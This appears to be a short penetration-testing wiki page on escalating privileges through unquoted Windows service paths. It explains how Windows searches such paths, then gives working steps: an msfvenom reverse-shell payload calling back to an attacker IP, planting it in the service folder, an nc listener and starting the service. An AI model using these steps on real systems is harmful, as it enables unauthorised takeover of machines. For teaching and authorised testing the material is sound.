# Unquoted Service Paths
## Overview
Unquotes service paths is similar to[ binary path exploitation](/windows-privilege-escalation/service-permissions/binary-paths.md), however the vulnerability lays in the fact that the path to the executable is **unquoted.**
When the service is started Windows looks through every word in the path separated with a space and tes**t .exe**
* C:\Program.exe - NO
* C:\Program Files.exe - NO
* C:\Program Files\Unquoted.exe - NO
* C:\Program Files\Unquoted Path.exe - NO
And so on...
## Exploitation via PowerUp
#### Run PowerUp and search for Unquoted Service Paths section
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#### Create and drop a malicious executable
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f exe -o Common.exe
```
```
cp C:\temp\Common.exe C:\Program Files\Unquoted Path Service\Common.exe
```
#### Start a listener and the service
```bash
nc -lnvp 1337
```
```
sc start unquotedsvc
```
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